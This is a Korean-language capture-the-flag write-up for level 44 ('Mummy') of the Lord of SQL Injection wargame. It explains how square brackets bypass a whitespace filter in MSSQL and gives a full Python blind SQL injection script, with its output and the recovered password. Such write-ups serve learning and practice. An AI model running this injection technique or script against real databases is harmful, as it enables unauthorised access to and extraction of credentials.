WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 44 - Mummy

이번에는 미라다. 수많은 용들과 전설 속의 네스호의 괴물까지 무찌르고 만난 것이 고작 미라라는 게 조금 김 빠지는 이야기이다. 코드를 만나보자

<  출처 : 위키백과 https://en.wikipedia.org/wiki/Mummy >


코드

mssql 기반의 문제이다. query로 받아오는 파라미터에 대해서 master, sys, information등 메타 테이블의 접근을 필터링하고 있다. 그 후 가져온 query를 길이에 맞게 반복 순회를 하면서 query에서 ord값이 32 이하인 문자가 발견되면 exit을 사용한다. 그 후 파라미터로 날아온 query에 대해서 직접 $result를 받아와서 결과적으로는 정확한 pw를 요구하고 있다.


해결방법 

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0c3cc245

해결해야할 문제는 자명하다. 

공백으로 인식할 수 있는 문자를 써야 한다.

다행히도, mssql은 문법적인 최소 단위를 구분할 여러 가지 다른 방법을 가지고 있다. 일전의 문제에서 보았던 /**/나 ()도 가능하지만 이는 이번 문제에서 필터링되어있다. 따라서 이번에 필터링을 뚫고 우리가 사용할 문자열은 대괄호[]이다.

try : ?query=[pw]from[prob_mummy]

굿, 대괄호를 사용하는 방법은 알았으니 남은 것은 Blind sql injection이다.

import string
from requests import get

if __name__=="__main__" :

    url = "### MUMMY URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    
    while(True) :
        
        find_flag = False
        
        for a in letters : 
            param = "?query=[pw]from[prob_mummy]where[id]='admin'and[pw]<'"+password+a+"'"
            new_url = url+param
            req = get(new_url,cookies=cookie)
            index = letters.index(a)

            if (req.text.find("Hello anonymous")<200 and req.text.find("Hello anonymous")!=-1) :
                find_flag = True
                break
            
        if(find_flag) :
            password += letters[index-1]
        else : 
            break


    print("="*25)
    print("find password : "+password)

출력 결과는 다음과 같다.

 ### START BLIND SQL INJECTION ###

=========================
find password : 0c3cc245

이지하다


이제 몬스터는 4마리밖에 남지 않았다. 힘내서 빠르게 마무리 지아보자